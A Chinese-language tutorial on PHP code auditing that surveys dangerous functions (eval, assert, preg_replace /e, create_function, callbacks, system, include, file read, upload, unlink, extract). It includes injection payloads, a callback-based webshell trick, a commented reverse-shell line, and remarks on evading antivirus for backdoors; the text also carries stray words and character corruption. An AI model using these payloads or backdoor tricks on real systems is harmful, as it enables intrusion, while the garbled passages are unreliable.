PHP代码审计基础知识

PHP代码审计基础知识

前言

本文章主要是PHP代码审计的一些基础知识,包括函数的用法,漏洞点,偏向基础部分,我的能力有限,部分可能会出现错误或者遗漏,读者可自行补充。php

代码执行

代码执行是代码审计当中较为严重的漏洞,主要是一些命令执行函数的不适当使用。那么,常见的可以触发这类漏洞的函数有哪些呢?html

eval()

想必你们对eval()函数应该并不陌生,简而言之eval()函数就是将传入的字符串看成 PHP 代码来进行执行。mysql

eval( string $code) : mixed

返回值

eval() 返回 NULL,除非在执行的代码中 return了一个值,函数返回传递给 return的值。PHP7开始,执行的代码里若是有一个parse error,eval() 会抛出 ParseError 异常。在 PHP 7 以前,若是在执行的代码中有 parse error,eval() 返回FALSE,以后的代码将正常执行。没法使用set_error_handler()捕获 eval() 中的解析错误。正则表达式

也就是说,咱们在利用eval()函数的时候,若是咱们传入的字符串不是正常的代码格式,那么就会抛出异常。因此PHP7和PHP5在这部分最大的不一样是什么呢?简而言之,PHP5在代码错误格式错误以后仍会执行,而PHP7在代码发生错误以后,那么eval()函数就会抛出异常,而不执行以后的代码。sql

示例:shell

<?php
    $code = "echo 'This is a PHP7';";
    eval($code);
?>

执行结果——>This is a PHP7

那么若是我要执行系统命令呢?这个时候就须要用到PHP中的system函数。数据库

<?php
    $code = "system('whoami');";
    eval($code);
?>

执行结果——>desktop-m61j5j6\admin

那么到此,咱们就能够结合其余姿式经过这个函数实现任意代码执行了。express

assert()

PHP 5数组

assert( mixed $assertion[, string $description] ) : bool

PHP 7浏览器

assert( mixed $assertion[, Throwable $exception] ) : bool

参数

  • assertion

断言。在PHP 5 中,是一个用于执行的字符串或者用于测试的布尔值。在PHP 7 中,能够是一个返回任何值的表达式,它将被执行结果用于判断断言是否成功。

  • description

若是assertion失败了,选项description将会包含在失败信息里。

  • exception

在PHP 7中,第二个参数能够是一个Throwable对象,而不是一个字符串,若是断言失败且启用了assert.exception,那么该对象将被抛出

assert()配置

配置项 默认值 可选值
zend.assertions 1 1 - 生成和执行代码(开发模式) 0 - 生成代码,但在执行时跳过它 -1 - 不生成代码(生产环境)
assert.exception 0 1 - 断言失败时抛出,能够抛出异常对象,若是没有提供异常,则抛出AssertionError对象实例 0 - 使用或生成Throwable,仅仅是基于对象生成的警告而不是抛出对象(与PHP 5 兼容)

因此搞了这么多,assert()函数究竟是干什么的呢?用个人理解来讲,assert()函数是处理异常的一种形式,至关于一个if条件语句的宏定义同样。

一个PHP 7 中的示例

<?php
    assert_options(ASSERT_EXCEPTION, 1);    // 设置在断言失败时产生异常
    try {
        assert(1 == 2, new AssertionError('由于1不等于2,因此前面断言失败,抛出异常'));  // 用 AssertionError 异常替代普通字符串
    } catch (Throwable $error) {
        echo $error->getMessage();
    }
?>
    
    
执行结果——>由于1不等于2,因此前面断言失败,抛出异常

这里就是实例化一个对象,用这个对象来抛出异常。

一个php 5 中的示例

<?php
	assert(1 == 2,'前面断言失败,抛出异常');
?>
    
执行结果——>Warning: assert(): 前面断言失败,抛出异常 failed in D:\phpstudy_pro\WWW\1.php on line 2
    
<?php
	assert(1 == 2);
?>
    
执行结果——>Warning: assert(): Assertion failed in D:\phpstudy_pro\WWW\1.php on line 2

因此PHP 7 相较于PHP 5 就是多了个用Throwable来发出警告。

那么,若是前面断言成功呢?会发生什么呢?来个最简单,也是咱们比较喜欢的示例

<?php
	$code = "system(whoami)"
	assert($code);
?>
    
执行结果——>desktop-m61j5j6\admin

这段代码在PHP 5 和PHP 7 中都会返回命令执行结果,虽然PHP 7 中对断言函数的参数稍做了改变,可是为了兼容低版本,因此仍是会直接返回结果。

preg_replace()

经过函数名字咱们也应该可以了解函数大概做用,此函数执行一个正则表达式的搜索和替换。

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

参数说明:

  • $pattern: 要搜索的模式,能够是字符串或一个字符串数组。
  • $replacement: 用于替换的字符串或字符串数组。
  • $subject: 要搜索替换的目标字符串或字符串数组。
  • $limit: 可选,对于每一个模式用于每一个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
  • $count: 可选,为替换执行的次数。

那这个函数跟咱们命令执行有什么关系呢?仅仅看上面的官方解释彷佛看不出什么,可是preg_repace()有一个模式是/e模式,这个模式就会发生代码执行的问题,为何呢?

看一个案例

<?php
     function Ameng($regex, $value){
        return preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
    }
    foreach ($_GET as $regex => $value){
        echo Ameng($regex, $value) . "\n";
    }
?>

上面这段咱们须要注意的就是\1,\1在正则表达式是反向引用的意思,简而言之就是指定一个子匹配项。

针对上面案例,咱们来个payload:

payload=/?.*={${phpinfo()}}
因此语句就成了这样
preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

那么咱们直接把这段代码放到页面

<?php
    preg_replace('/(.*)/ei', 'strtolower("\\1")', '{${phpinfo()}}');
?>

访问页面,结果以下:

咱们看到成功执行了代码。

可是这里我是直接将这段代码写到了文件里,那么若是咱们是经过GET传参获得参数,这里针对上面那个案例就须要注意一点,在经过GET传参时,.*会被替换为_*致使咱们要的正则被替换了,达不到咱们的效果,因此这里可用使用一些其余的正则表达式来达到目的,好比经过GET传参时咱们的参数能够传入\S*从而达到一样目的。因此之后再遇到这个函数的时候,要留个心眼了。不过,这里要补充一点,就是preg_replace()函数在PHP 7 后便再也不支持,使用preg_replace_callback()进行替换了,取消了不安全的\e模式。

create_function()

create_function()用来建立一个匿名函数

create_function( string $args, string $code) : string

参数

  • string $args 声明的函数变量部分
  • string $code 要执行的代码

返回值

返回惟一的函数名称做为字符串或者返回FALSE错误

create_function()函数在内部执行eval()函数,因此咱们就能够利用这一点,来执行代码。固然正由于存在安全问题,因此在PHP 7.2 以后的版本中已经废弃了create_function()函数,使用匿名函数来代替。因此这里为了演示这个函数,我采用的是PHP 5 的环境。那么这个函数到底怎么用呢?

那么来看我写的一个简单的案例

<?php
    $onefunc = create_function('$a','return system($a);');
	$onefunc(whoami);
?>
    
执行结果——>desktop-m61j5j6\admin

咱们看到使用此函数为咱们至关于创造了一个匿名的函数,给它赋以相应的变量,就执行了咱们要执行的代码。

那么接下来咱们来看一个简单的案例

<?php
	error_reporting(0);
	$sort_by = $_GET['sort_by'];
	$sorter = 'strnatcasecmp';
	$databases=array('1234','4321');
	$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
	usort($databases, create_function('$a, $b', $sort_function));
?>

这个主要功能就是实现排序,这段代码就调用了create_function()函数,那么咱们可否利用这个函数执行咱们想要执行的代码呢?

固然能够,咱们只须要在传参时将前面的符号闭合,而后输入咱们想要执行的代码便可。

payload='"]);}phpinfo();/*
执行payload前:$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
执行payloda后:$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

看到这里,你可能会有稍微疑惑,就是你闭合就闭合吧,为何后面多了个;},不知道你是否想到了这一点?

那么我就来分析一下这个,上面的那段执行代码,实际上就是一个匿名函数的建立,既然是一个函数,注意是一个函数,那么你以为有没有花括号呢?看我以下代码

<?php
    //未闭合以前
    function sort($a,$b){
    ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
	}
	//闭合以后
	function sort($a,$b){
        ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);
    }
        phpinfo();/*
    }
?>

能够看到,咱们借用了匿名函数的位置,插入了咱们要执行的代码,而后等这个匿名函数被create_function看成$code执行的时候,是否是代码就被执行了。

结果:

那么creat_function函数还有别的用法吗?咱们将上面一个案例简单的修改一下,代码以下:

<?php
    $onefunc = create_function("","die(`cat flag.php`)");
	$_GET['func_name']();
	die();
?>

代码简单的来看,咱们只须要执行$onefunc就能获得flag,可是咱们不知道这个函数的名称。若是在不知道函数名称的状况下执行函数呢?这里就用到了creat_function函数的一个漏洞。这个函数在creat以后会自动生成一个函数名为%00lambda_%d的匿名函数。%d的值是一直递增的,会一直递增到最大长度直到结束。因此这里能够经过多进程或者多线程访问,从而看到flag。

因此,之后再代码中若是看到调用create_function()要当心一点,可是若是是CTF题目的话,不会这么直接就吧这个函数暴露给你,它可能会用到拼接或者替换来构造这个函数。最后再强调一下,create_function函数在PHP 7.2 版本以后就已经被废弃了。

array_map()

array_map()为数组的每一个元素应用回调函数

array_map( callable $callback, array $array1[, array $...] ) : array

array_map():返回数组,是为 array1 每一个元素应用 callback函数以后的数组。callback 函数形参的数量和传给array_map() 数组数量,二者必须同样。

参数

  • callback:回调函数,应用到每一个数组里的每一个元素。
  • array1:数组,遍历运行callback函数。
  • ...:数组列表,每一个都遍历运行callback函数。

返回值

返回数组,包含callback函数处理以后array1的全部元素。

说了这么多官方的函数解释,那么这个函数到底如何使用呢?简而言之,这个函数的做用能够这么直白的解释一下。你原本有一个数组,而后我经过array_map函数将你这个数组看成参数传入,而后返回一个新的数组。见下图。

代码示例:

<?php
    $old_array = array(1, 2, 3, 4, 5);
    function func($arg){
        return $arg * $arg;
    }
    $new_array = array_map('func',$old_array);
    var_dump($new_array);
?>
    
    
执行结果——>
array(5) {
  [0]=>
  int(1)
  [1]=>
  int(4)
  [2]=>
  int(9)
  [3]=>
  int(16)
  [4]=>
  int(25)
}

经过上述代码,咱们大概知道这个函数就是调用回调函数(用户自定义的函数)来实现对现有数组的操做,从而获得一个新的数组。

那么功能我知道了,但是这个和代码执行有什么关系呢?如何可以利用这个函数执行代码呢?且看下面所示代码。

<?php
    $func = 'system';
    $cmd = 'whoami';
    $old_array[0] = $cmd;
    $new_array = array_map($func,$old_array);
    var_dump($new_array);
?>
    
    
执行结果——>
desktop-m61j5j6\admin
array(1) {
  [0]=>
  string(21) "desktop-m61j5j6\admin"
}

这段代码就是,经过array_map()这个函数,来调用用户自定义的函数,而用户这里的回调函数其实就是system函数,那么就至关于咱们用system函数来对旧数组进行操做,获得新的数组,那么这个新的数组的结果就是咱们想要的命令执行的结果了。

call_user_func()

call_user_func()是把第一个参数做为回调函数调用

call_user_func( callable $callback[, mixed $parameter[, mixed $...]] ) : mixed

参数

第一个参数callback是被调用的回调函数,其他参数是回调函数的参数。

  • callback:即将被调用的回调函数
  • parameter:传入回调函数的参数

这个函数仍是很是好理解的,看一段简单的示例代码

<?php
    function callback($a,$b){
        echo $a . "\n";
        echo $b;
    }
    call_user_func('callback','我是参数1','我是参数2');
?>


执行结果——>
我是参数1
我是参数2

能够看到此函数做用就是调用了笔者自定义的函数。那么这个如何实现代码执行呢?好说,你在前面自定义的函数中加入能执行命令的代码不久能够代码执行了。

示例代码:

<?php
    function callback($a){
        return system($a);
    }
    $cmd = 'whoami';
    call_user_func('callback',$cmd);
?>

执行结果——>
desktop-m61j5j6\admin

call_user_func_array()

这个函数名称跟上没什么大的差异,惟一的区别就在于参数的传递上,这个函数是把一个数组做为回调函数的参数

call_user_func_array( callable $callback, array $param_arr) : mixed

参数

  • callback:被调用的回调函数
  • param_arr:要被传入回调函数的数组,这个数组须要是索引数组

示例代码

<?php
    function callback($a,$b){
        echo $a . "\n";
        echo $b;
    }
	$onearray = array('我是参数1','我是参数2');
    call_user_func_array('callback',$onearray);
?>


执行结果——>
我是参数1
我是参数2

示例代码:

<?php
    function callback($a){
        return system($a);
    }
    $cmd = array('whoami');
    call_user_func_array('callback',$cmd);
?>
    
执行结果——>
desktop-m61j5j6\admin

array_filter()

用回调函数过滤数数组中的单元

array_filter( array $array[, callable $callback[, int $flag = 0]] ) : array

依次将array数组中的每一个值传到callback函数。若是callback函数返回true,则array数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

参数

  • array:要循环的数组
  • callback:使用的回调函数。若是没有提供callback函数,将删除array中全部等值为FALSE的条目。
  • flag:决定callback接收的参数形式

代码示例(这里看官方的就行,很详细):

<?php
function odd($var)
{
    // returns whether the input integer is odd
    return($var & 1);
}

function even($var)
{
    // returns whether the input integer is even
    return(!($var & 1));
}

$array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);
$array2 = array(6, 7, 8, 9, 10, 11, 12);

echo "Odd :\n";
print_r(array_filter($array1, "odd"));
echo "Even:\n";
print_r(array_filter($array2, "even"));
?> 
    
    
执行结果——>
Odd :
Array
(
    [a] => 1
    [c] => 3
    [e] => 5
)
Even:
Array
(
    [0] => 6
    [2] => 8
    [4] => 10
    [6] => 12
)

从上面代码咱们知道,这个函数做用其实就是过滤,只不过这个过滤调用的是函数,而被过滤的是传入的参数。到这里你内心有没有代码执行的雏形了?

代码示例:

<?php
    $cmd='whoami';
    $array1=array($cmd);
    $func ='system';
    array_filter($array1,$func);
?>
    
    
执行结果——>
desktop-m61j5j6\admin

usort()

使用用户自定义的比较函数对数组中的值进行排序

usort( array &$array, callable $value_compare_func) : bool

参数

  • array:输入的数组
  • cmp_function:在第一个参数小于、等于或大于第二个参数时,该比较函数必须相应地返回一个小于、等于或大于0的数

代码示例:

<?php
    function func($a,$b){
        return ($a<$b)?1:-1;
    }
    $onearray=array(1,3,2,5,9);
    usort($onearray, 'func');
    print_r($onearray);
?>

执行结果——>
Array
(
    [0] => 9
    [1] => 5
    [2] => 3
    [3] => 2
    [4] => 1
)

可见实现了逆序的功能。那么假若咱们把回调函数设计成可以执行代码的函数,是否是就能够执行咱们想要的代码了呢?

代码示例:

<?php 
    usort(...$_GET);
?>

payload: 1.php?1[0]=0&1[1]=eval($_POST['x'])&2=assert
POST传参: x=phpinfo();

usort的参数经过GET传参,第一个参数也就是$_GET[0],随便传入一个数字便可。第二个参数也就是$_GET[1]是咱们要调用的函数名称,这里采用的是assert函数。

执行结果:

uasort()

这个跟上一个差很少,区别不是很大。此函数对数组排序并保持索引和单元之间的关联。也就是说你这个排完序以后呢,它原来对应的索引也会相应改变,相似于“绑定”。

uasort( array &$array, callable $value_compare_func) : bool

参数

  • array:输入的数组
  • value_compare_func:用户自定义的函数

这里用的仍然官方例子(比较好理解)

<?php
// Comparison function
function cmp($a, $b) {
    if ($a == $b) {
        return 0;
    }
    return ($a < $b) ? -1 : 1;
}

// Array to be sorted
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
print_r($array);

// Sort and print the resulting array
uasort($array, 'cmp');
print
?>
       
执行结果——>
Array
(
    [a] => 4
    [b] => 8
    [c] => -1
    [d] => -9
    [e] => 2
    [f] => 5
    [g] => 3
    [h] => -4
)
Array
(
    [d] => -9
    [h] => -4
    [c] => -1
    [e] => 2
    [g] => 3
    [a] => 4
    [f] => 5
    [b] => 8
)

咱们发现,在排完序以后索引也跟着值的位置变化而变化了。那么代码执行的示例代码其实也和上一个差很少。

代码示例:

<?php
	$a = $_GET['a'];
	$onearray = array('Ameng', $_POST['x']);
	uasort($onearray, $a);
?>

执行结果:

总结

看完这里不知道你对代码审计中的代码执行部分是否有另外一种想法?个人想法就是这个是和后门联系在一块儿的。咱们能够看到不少函数都具备构造执行命令的条件,并且其中不少函数也的确被用在后门中,特别像后面几个回调函数,在后门中更是常见。固然这些后门函数也早已被安全厂商盯住,因此大部分已经没法直接免杀,因此想要免杀就须要结合其余姿式,好比替换、拼接、加密等等。可是这些知识在CTF中仍是比较容易出现的。

命令执行

说完代码执行,咱们再来看看命令执行。常见的命令执行函数有哪些呢?

system()

这个函数想必咱们都是比较熟悉的,此函数就是执行外部指令,而且显示输出

system( string $command[, int &$return_var] ) : string

参数

  • command:必需。要执行的命令
  • return_var:可选。若设置了这个参数,那么命令执行后的返回状态就会被放到这个变量中

示例代码:

<?php
    $cmd = 'whoami';
    system($cmd);
?>
    
执行结果——>
desktop-m61j5j6\admin

exec()

这个其实和上面system函数没有太大区别,都是执行外部程序指令,只不过这个函数多了一个参数,可让咱们把命令执行输出的结果保存到一个数组中。

exec( string $command[, array &$output[, int &$return_var]] ) : string

参数

  • command:必需。要执行的命令
  • output:可选。若是设置了此参数,那么命令执行的结果将会保存到此数组。
  • return_var:可选。命令执行的返回状态。
<?php
$cmd = 'whoami';
echo exec($cmd);
?>

执行结果——>
desktop-m61j5j6\admin

shell_exec()

此函数经过shell环境执行命令,而且将完整的输出以字符串的方式返回。若是执行过程当中发生错误或者进程不产生输出,那么就返回NULL

shell_exec( string $cmd) : string

参数

  • cmd:要执行的命令

代码示例:

<?php
$cmd = 'whoami';
echo shell_exec($cmd);
?>
    
执行结果——>
desktop-m61j5j6\admin

passthru()

执行外部程序而且显示原始输出。既然咱们已经有执行命令的函数了,那么这个函数咱们何时会用到呢?当所执行的Unix命令输出二进制数据,而且须要直接传送到浏览器的时候,须要用此函数来替代exec()system()函数

passthru( string $command[, int &$return_var] ) : void

参数

  • command:要执行的命令
  • return_var:Unix命令的返回状态将被记录到此函数。

代码示例:

第一你能够这么写
<?php
    passthru('whoami');	//直接将结果返回到页面
?>
第二你能够这么写
<?php
    passthru('whoami',$result);	//将结果返回到一个变量,而后经过输出变量值获得输出内容
    echo $result;
?>

pcntl_exec()

在当前进程空间执行指定程序。关键点就在于进程空间,假若我如今设定一个条件,你只有在某个子进程中才能读取phpinfo,那这个时候,咱们就须要用到这个函数了。

pcntl_exec( string $path[, array $args[, array $envs]] ) : void

参数

  • path:path必须时可执行二进制文件路径或在一个文件第一行指定了一个可执行文件路径标头的脚本(好比文件第一行是#!/usr/local/bin/perl的perl脚本)
  • args:此参数是一个传递给程序的参数的字符串数组
  • envs:环境变量,这个想必你们都很熟悉,只不过这里强调一点,这里传入的是数组,数组格式是 key => value格式的,key表明要传递的环境变量的名称,value表明该环境变量值。

示例代码:

//father
<?php
	pcntl_exec('/usr/local/bin/php', ['2.php']);
?>
//son
<?php
    while(true){
        echo 'ok';
    }
?>

popen()

此函数使用command参数打开进程文件指针。若是出错,那么该函数就会返回FALSE。

popen(command,mode)

参数

  • command:要执行的命令
  • mode:必需。规定链接的模式
    • r:只读
    • w:只写(打开并清空已有文件或建立一个新文件)

代码示例:

<?php
	$file = popen("demo.txt","r");
	pclose($file);
?>

<?php
$file = popen("/bin/ls","r");
//some code to be executed
pclose($file);
?>

proc_open()

此函数执行一个命令,而且打开用来输入或者输出的文件指针

proc_open( string $cmd, array $descriptorspec, array &$pipes[, string $cwd = NULL[, array $env = NULL[, array $other_options = NULL]]] )

此函数其实和popen函数相似,都是执行命令

参数

  • cmd:要执行的命令
  • descriptorspec:索引数组。数组中的键值表示描述符,元素值表示 PHP 如何将这些描述符传送至子进程。0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准错误(stderr)。
  • pipes:将被置为索引数组,其中的元素是被执行程序建立的管道对应到PHP这一段的文件指针。
  • cwd:要执行命令的初始工做目录。必需是绝对路径。此参数默认使用 NULL(表示当前 PHP 进程的工做目录)
  • env。要执行命令所使用的环境变量。此参数默认为 NULL(表示和当前 PHP 进程相同的环境变量)
  • other_options:可选。附加选项
    • suppress_errors (仅用于 Windows 平台):设置为 TRUE 表示抑制本函数产生的错误。
    • bypass_shell (仅用于 Windows 平台):设置为 TRUE 表示绕过 cmd.exe shell。

说白了,其实就是执行命令,只不过其中多了一些选项,包括目录的,环境变量的等。

示例代码:

$descriptorspec = array(
			0 => array("pipe", "r"),	//标准输入,子进程今后管道读取数据
			1 => array("pipe", "w"),	//标准输出,子进程向此管道写入数据
			2 => array("file", "/opt/figli/php/error-output.txt","a")	//标准错误,写入到指定文件
			);
 
 
	$process = proc_open("ls -a", $descriptorspec, $pipes);
 
	if(is_resource($process)){
 
		echo stream_get_contents($pipes[1]);
		fclose($pipes[1]);
 
		proc_close($process);	//在调用proc_close以前必须关闭全部管道
	}

文件包含

include()

include将会包含语句并执行指定文件

include 'filename';

关键点就在于执行指定文件,执行给了咱们代码执行的机会。假若此时咱们构造了一个后门文件,须要在目标机器执行进行shell反弹,那么若是代码中有include并且没有进行过滤,那么咱们就可使用该函数来执行咱们的后门函数。下面我来演示一下。

示例代码(1.php):

<?php
	highlight_file(__FILE__);
	$file = $_GET['file'];
	include $file;
?>

示例代码(2.php):

<?php
	//这里可使用PHP来反弹shell,我这里只是演示
	//$sock=fsockopen("127.0.0.1",4444);exec("bin/bash -i <&3 >&3 2>&3");
	echo '<br><h1>[*]backdoor is running!</h1>';
?>

执行结果:

include_once()

include_onceinclude没有太大区别,惟一的其区别已经在名称中体现了,就是相同的文件只包含一次。其余功能和include_once同样,只是增长对每一个文件包含的次数。

require()

require的实现和include功能几乎彻底相同,那既然同样为何还要多一个这样的函数呢?( 我也不知道)

其实二者仍是有点区别的,什么区别呢?这么说,若是你包含的文件的代码里面有错误,你以为会发生什么?是继续执行包含的文件,仍是中止执行呢?因此区别就在这里产生了。

require在出错时会致使脚本终止,而include在出错时只是发生警告,脚本仍是继续执行。

require_once()

这个我以为你看完上面的,应该就懂了。这二者关系和includeinclude_once的关系是同样的。

总结

文件包含有不少利用手段,其中在实际环境中,例如咱们向服务器写入了后门,可是咱们没法直接链接服务器,那么若是有文件包含函数,咱们能够经过文件包含函数包含执行咱们的后门函数,让服务器反弹链接咱们。岂不美哉。

文件读取(下载)

file_get_contents()

函数功能是将整个文件读入一个字符串

file_get_contents(path,include_path,context,start,max_length)

参数

  • filename:要读取文件的名称。
  • include_path:可选。若是也想在 include_path 中搜索文件,能够设置为1。
  • context:可选。规定句柄的位置。
  • start:可选。规定文件中开始读取的位置。
  • max_length:可选。规定读取的字节数。

代码示例:

<?php
    echo file_get_contents('demo.txt');
?>
    
执行结果——>
I am a demo text

fopen()

此函数将打开一个文件或URL,若是 fopen() 失败,它将返回 FALSE 并附带错误信息。咱们能够经过在函数名前面添加一个 @ 来隐藏错误输出。

fopen(filename,mode,include_path,context)

参数

  • filename:必需。要打开的文件或URL
  • mode:必需。规定访问类型(例如只读,只写,读写方式等,方式的规定和其余语言的规定方式一致)
  • include_path:可选。就是你能够指定搜索的路径位置,若是要指定的话,那么该参数要指定为1
  • context:可选。规定句柄的环境。

代码示例:

<?php
	$file = fopen("demo.txt","rb");
	$content = fread($file,1024);
	echo $content;
	fclose($file);
?>
    
执行结果——>
I am a demo text

这段代码中其实也包含了fread的用法。由于fread仅仅只是打开一个文件,要想读取还得须要用到fread来读取文件内容。

fread()

这个函数刚才在上个函数中基本已经演示过了,就是读取文件内容。这里代码就再也不演示了,简单介绍一下参数和用法。

string fread ( resource $handle , int $length )

参数

  • handle:文件系统指针,是典型地由 fopen建立的resource
  • length:必需。你要读取的最大字节数。

fgets()

从打开的文件中读取一行

fgets(file,length)

参数

  • file:必需。规定要读取的文件。
  • length:可选。规定要读取的字节数。默认是1024字节。

能够看出这个函数和以前的fread区别不是很大,只不过这个读取的是一行。

fgetss()

这个函数跟上个没什么差异,也是从打开的文件中读取去一行,只不过过滤掉了 HTML 和 PHP 标签。

fgetss(file,length,tags)

参数

  • file:必需。要检查的文件。
  • length:可选。规定要读取的字节数,默认1024字节。
  • tags:可选。哪些标记不去掉。

代码示例:

<?php
	$file = fopen("demo.html","r");
	echo fgetss($file);
	fclose($file);
?>

demo.html代码
<h1>I am a demo</h1>
    
执行结果——>
I am a demo

readfile()

这个函数从名称基本就知道它是干啥的了,读文件用的。此函数将读取一个文件,并写入到输出缓冲中。若是成功,该函数返回从文件中读入的字节数。若是失败,该函数返回 FALSE 并附带错误信息。

readfile(filename,include_path,context)

参数

  • filename:必需。要读取的文件。
  • include_path:可选。规定要搜索的路径。
  • context:可选。规定文件句柄环境。

代码示例:

<?php
	echo "<br>" . readfile("demo.txt");
?>
    
执行结果——>
I am a demo:) I am a demo:(
28

咱们看到不只输出了全部内容,并且还输出了总共长度。可是没有输出换行。

file()

把文件读入到一个数组中,数组中每个元素对应的是文件中的一行,包括换行符。

file(path,include_path,context)

参数

  • path:必需。要读取的文件。
  • include_path:可选。可指定搜索路径。
  • context:可选。设置句柄环境。

代码示例:

<?php
print_r(file("demo.txt"));
?>
    
执行结果——>
Array 
( 
[0] => I am the first line! 
[1] => I am the second line! 
)

parse_ini_file()

从名称能够看出,这个函数不是读取一个简单的文件。它的功能是解析一个配置文件(ini文件),并以数组的形式返回其中的位置。

parse_ini_file(file,process_sections)

参数

  • file:必需。要读取的ini文件
  • process_sections:可选。若为TRUE,则返回一个多维数组,包括了详细信息

代码示例:

<?php
	print_r(parse_ini_file("demo.ini"));
?>

demo.ini内容:
[names]
me = Robert
you = Peter

[urls]
first = "http://www.example.com"
second = "https://www.runoob.com"

执行结果——>
Array 
( 
[me] => Robert 
[you] => Peter 
[first] => http://www.example1.com 
[second] => https://www.example2.com 
)

show_source()/highlight_file()

这两个函数没什么好说的,想必你们也常常见到这两个函数,其做用就是让php代码显示在页面上。这两个没有任何区别,show_source其实就是highlight_file的别名。

总结

文件读取这块内容没什么好说的,不难,大多只是基本的应用。重点文件读取若是没有设置权限和过滤参数,那就问题大了,咱们就能够任意文件读取了。

补充:什么是句柄?

开局先给一段代码

$file = fopen("demo.txt","rb");

在这段代码中$file就是一个句柄。句柄关键点在“柄”,后面的fopen是一个资源,比如一口锅,而前面的$file就比如这个锅的把手。那么之后咱们在操做的时候操做把手就好了。经过这个把手咱们能够间接操做比较大的资源。其实也相似C语言中的指针,只是一个标识。

文件上传

move_uploaded_file()

此函数是将上传的文件移动到新位置。

move_uploaded_file(file,newloc)

参数

  • file:必需。规定要移动的文件。
  • newloc:必需。规定文件的新位置。

本函数检查并确保由 file 指定的文件是合法的上传文件(即经过 PHP 的 HTTP POST 上传机制所上传的)。若是文件合法,则将其移动为由 newloc 指定的文件。

若是 file 不是合法的上传文件,不会出现任何操做,move_uploaded_file() 将返回 false。

若是 file 是合法的上传文件,但出于某些缘由没法移动,不会出现任何操做,move_uploaded_file() 将返回 false,此外还会发出一条警告。

代码示例:

$fileName = $_SERVER['DOCUMENT_ROOT'].'/uploads/'.$_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'],$fileName )

这段代码就是直接接收上传的文件,没有进行任何的过滤,那么当咱们上传getshell的后门时,就能够直接获取权限,可见这个函数是不能乱用的,即使要用也要将过滤规则完善好,防止上传不合法文件。

文件删除

此函数用来删除文件。成功返回 TURE ,失败返回 FALSE。

unlink(filename,context)

参数

  • filename:必需。要删除的文件。
  • context:可选。句柄环境。

咱们知道,一些网站是有删除功能的。好比常见的论坛网站,是有删除评论或者文章功能的。假若网站没有对删除处作限制,那么就可能会致使任意文件删除(甚至删除网站源码)。

代码示例:

<?php
    $file = "demo.txt";
    if(unlink($file)){
        echo("$file have been deleted");
    }
	else{
        echo("$file not exist?")
    }
php>

session_destroy()

在了解这个函数以前,咱们须要先了解 PHP session。 PHP session 变量用于存储关于用户会话的信息。关于 sesson 的机制这里我就再也不过于详细介绍。

session_destroy()函数用来销毁一个会话中的所有数据,但并不会重置当前会话所关联的全局变量,同时也不会重置会话 cookie

代码示例:

<?php
// 初始化会话。
// 若是要使用会话,别忘了如今就调用:
session_start();

// 重置会话中的全部变量
$_SESSION = array();

// 若是要清理的更完全,那么同时删除会话 cookie
// 注意:这样不但销毁了会话中的数据,还同时销毁了会话自己
if (ini_get("session.use_cookies")) {
    $params = session_get_cookie_params();
    setcookie(session_name(), '', time() - 42000,
        $params["path"], $params["domain"],
        $params["secure"], $params["httponly"]
    );
}

// 最后,销毁会话
session_destroy();
?>

变量覆盖

extract()

此函数从数组中将变量导入到当前的符号表。其实做用就是给变量从新赋值,从而达到变量覆盖的做用。

extract(array,extract_rules,prefix)

参数

  • array:必需。规定要使用的数组。

  • extract_rules:可选。extract函数将检查每一个键名是否为合法的变量名,同时也检查和符号中已经存在的变量名是否冲突,对不合法或者冲突的键名将会根据此参数的设定的规则来决定。

    • EXTR_OVERWRITE - 默认。若是有冲突,则覆盖已有的变量。
    • EXTR_SKIP - 若是有冲突,不覆盖已有的变量。
    • EXTR_PREFIX_SAME - 若是有冲突,在变量名前加上前缀 prefix。
    • EXTR_PREFIX_ALL - 给全部变量名加上前缀 prefix。
    • EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。
    • EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。
    • EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,创建附加了前缀的变量名,其它的都不处理。
    • EXTR_REFS - 将变量做为引用提取。导入的变量仍然引用了数组参数的值。
  • prefix:可选。若是 extract_rules 参数的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,则 prefix 是必需的。

代码示例:

<?php
    $color = "blue";
    $one_array = array("color" => "red",
        "size"  => "medium",
        "name" => "dog");
    extract($one_array);
    echo "$color, $size, $name";
?>
    
执行结果——>
red, medium, dog

在上述代码中,咱们看到,原本咱们定义的color是blue,输出的时候变成了red,原本咱们没有定义size和name,但是却能输出这两个变量。

还有一些在CTF比赛中出现过的用法,好比直接让你POST传参来改变某个变量的值。

代码示例:

<?php
    $name = 'cat';
    extract($_POST);
    echo $name;
?>

参时若是咱们POST传入name=dog,那么页面将会回显dog,说明这个函数的使用让咱们实现了变量的覆盖,改变了变量的值。

parse_str()

此函数把查询到的字符串解析到变量中。

parse_str(string,array)

参数

  • string:必需。规定要解析的字符串。
  • array:可选。规定存储变量的数组名称。该参数只是变量存储到数组中。

代码示例:

<?php
    parse_str("name=Ameng&sex=boy",$a);
    print_r($a);
?>
    
执行结果——>
Array
(
    [name] => Ameng
    [sex] => boy
)

上述代码是有array状况下的使用状况,那么如何实现变量的覆盖呢?若是没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量。

代码示例:

<?php
	$name = 'who';
    $age = '20';
